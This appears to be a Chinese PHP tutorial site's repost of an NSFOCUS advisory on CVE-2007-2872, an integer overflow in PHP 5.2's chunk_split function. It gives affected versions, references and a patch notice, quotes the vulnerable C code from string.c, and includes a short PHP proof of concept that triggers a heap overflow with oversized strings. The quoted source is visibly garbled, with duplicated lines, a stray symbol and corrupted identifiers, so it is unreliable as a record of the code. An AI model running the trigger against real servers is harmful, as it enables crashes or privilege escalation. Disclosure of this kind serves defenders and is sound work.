首頁  >  文章  >  後端開發  >  split函數 PHP52下chunk_split函數整數溢位漏洞 分析

split函數 PHP52下chunk_split函數整數溢位漏洞 分析

WBOY
WBOY原創
2016-07-29 08:36:581678瀏覽

受影響系統:
PHP PHP 不受影響系統:
PHP PHP 5.2.3
說明:
------------- -------------------------------------------------- -----------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872
PHP是一種流行的WEB伺服器端程式設計語言.
PHP中的chunk_split函數在處理畸形參數時有整數溢位漏洞,而本地攻擊者可能利用此漏洞來提升自己的權限。
PHP中chunk_split函數的1963行試圖為函數結果分配充分的記憶體大小,但沒有執行任何檢查便使用了srclen和chunklen參數區塊。如果值的區塊和endlen大於65534位元組的話,就會觸發整數溢出,分配錯誤的記憶體大小,導致堆溢出。
ext/standard/string.c:
1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen) *end,
int endlen, int chunklen, int *destlen)
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen1959
1958 int restlen; / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (🎜>1963 dest = safe_emalloc((srclen + (chunks + 1),sizeof(char), 0);
1964
1965 for (p = src, q = dest; p 1966 memcpy(qq, p , chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklenlen;
1971 }鏈接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>
測試方法:
------------------------ -------------------------------------------------- ------
警告
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。用戶風險自負!

$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a ,$b,$c);
?>
建議:
----------------------------- -------------------------------------------------- -
廠商補丁:
PHP
---
目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:
http://www.php .net/downloads.php#v5
文章來自: 綠盟科技
以上就介紹了split函數 PHP52下chunk_split函數整數溢位漏洞 分析,包括了split函數方面的內容,希望對PHP教學有興趣的朋友有幫助。

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn